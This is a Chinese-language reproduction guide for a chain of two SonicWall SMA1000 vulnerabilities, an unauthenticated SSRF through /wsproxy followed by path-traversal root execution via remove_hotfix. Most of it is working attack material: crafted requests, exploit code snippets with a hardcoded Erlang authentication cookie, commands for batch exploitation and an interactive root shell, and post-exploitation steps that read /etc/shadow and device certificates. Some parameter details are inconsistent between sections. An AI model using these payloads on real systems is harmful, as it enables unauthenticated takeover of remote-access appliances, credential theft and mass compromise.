漏洞简介
CVE-2026-15409 和 CVE-2026-15410 是两个在野被威胁组织 UTA0533 利用的 SonicWall SMA1000 系列安全远程访问设备漏洞,可组合成一条完整的「未认证 → Root RCE」攻击链。
CVE-2026-15409 是一个预认证 SSRF(服务端请求伪造)漏洞,位于 SMA1000 WorkPlace Web 界面的
/wsproxy端点。攻击者无需任何账号权限,通过构造特制的 WebSocket 请求即可让设备主动建立一条隧道,绕过网络隔离边界,访问仅允许 localhost 访问的内部 Erlang RPC 服务。CVE-2026-15410 是一个路径穿越代码注入漏洞,存在于 AMC(Appliance Management Console)内部控制服务
ctrl-service的remove_hotfix工作流中。该接口对hotfix参数缺少路径过滤,以 root 权限执行攻击者指定的任意脚本。
CVE-2026-15409 负责建立访问通道,CVE-2026-15410 负责权限跃升,全程无需认证。
影响范围
漏洞复现
准备环境
复现步骤
步骤 1:漏洞构建请求
CVE-2026-15409 的触发点位于 /wsproxy 端点,关键参数如下:
bmID=-3389 → 触发缺少内网地址校验的代码分支
host=localhost → 代理目标指向设备内部
port=1050 → Erlang RPC 服务监听端口
User-Agent=SMA Connect Agent → 伪装为合法客户端
构造请求:
POST /wsproxy HTTP/1.1
Host: <target>:443
User-Agent: SMA Connect Agent
Connection: Upgrade
Upgrade: websocket
Content-Type: application/x-www-form-urlencoded
bmID=-3389&host=localhost&port=1050
CVE-2026-15410 的触发点位于 ctrl-service :8188 端口的 remove_hotfix 接口,
通过路径穿越将恶意脚本路径写入 root 可执行位置:
hotfix=../../../../var/tmp/privesc.sh
→ 以 root 权限执行该脚本步骤 2:执行检测脚本(checker.py)
使用 checker.py 对目标进行 SSRF 漏洞探测,验证漏洞存在性:
python3 checker.py https://<target_ip>
检测逻辑:向多个路径(/workplace/、/ui/、/portal/、/cgi-bin/ 等)
发送携带 https://httpbin.org/ip 的探测请求,若响应中包含 httpbin.org 或
外网 IP 信息,则判定 SSRF 漏洞存在。
检测结果示例:
CVE-2026-15409 - SONICWALL SMA1000 SSRF SAFE CHECKER
[2026-08-08 10:00:00] Powered by 七度光 | www.qdg.tw
[*] https://192.168.1.100/workplace/wsproxy?url=https%3A%2F%2Fhttpbin.org%2Fip
→ Status: 200 | Size: 18
[!] > SSRF VULNERABILITY DETECTED!
[!] CRITICAL: SSRF vulnerability detected (CVE-2026-15409)
[!] Remote unauthenticated attackers can access internal services步骤 3:执行利用脚本(exploit.py)
① 通过 CVE-2026-15409 建立 WebSocket 隧道至内部 Erlang RPC(:1050)
② 使用硬编码 Cookie 完成 Erlang 认证(绕过身份验证)
③ 通过 RPC 读取设备硬件信息、写入恶意脚本到 /tmp
④ 通过 CVE-2026-15410 调用 remove_hotfix 接口,以 root 执行脚本
关键代码片段:
# 建立 WebSocket 隧道
ws_url = (f"wss://{target}:{port}{path}/workplace/wsproxy?"
f"bmID=-3389{bm_id}&serviceType=SSH&host=127.0.0.1&port=1050")
# Erlang 认证(硬编码 Cookie)
DEFAULT_COOKIE = "10ecad5b446e86864832904cd439b6b70262"
digest = hashlib.md5((cookie + str(challenge)).encode()).digest()
# CVE-2026-15410 路径穿越执行
payload = (f'<?xml version="1.0"?><methodCall><methodName>remove_hotfix</methodName>'
f'<params><param><value><string>../../../../{tmp_path}</string></value></param>'
f'</params></methodCall>')步骤 4:执行利用
单目标利用:
python3 exploit.py -u <target_ip> --exec "whoami"
--detect 模式(先检测 SSRF 再利用):
python3 exploit.py -u <target_ip> --detect --exec "id"
批量扫描模式:
python3 exploit.py -l targets.txt --exec "whoami" -m 50
交互式 Shell:
python3 exploit.py -u <target_ip>
# 进入交互式 shell,支持以下命令:
# privesc → 触发 CVE-2026-15410 提权
# download <path> → 读取目标文件
# exit → 退出步骤 5:观察输出
成功执行时,控制台输出如下信息:
CVE-2026-15409 - SONICWALL SMA1000
SSRF to Erlang RCE & CVE-2026-15410 Root Privesc
CVSS Score: 10.0 (Critical)
[2026-08-08 10:00:00] Powered by 七度光 | www.qdg.tw
Running SSRF detection
/workplace/wsproxy?url=... → 200
SSRF detected at /workplace/wsproxy
Connecting to <target>:443
Erlang RPC channel authenticated
Command output:
root步骤 6:验证结果
在目标设备上执行验证命令,确认获得 root 权限:
# 确认当前用户
whoami → root
# 确认权限
id → uid=0(root) gid=0(root)
# 读取敏感文件
cat /etc/shadow → 获取所有账户哈希
cat /opt/nms/ssl/certs/nms.pem → 获取设备证书
# 检查持久化后门
ls -la /etc/cron.d/
cat /etc/rc.local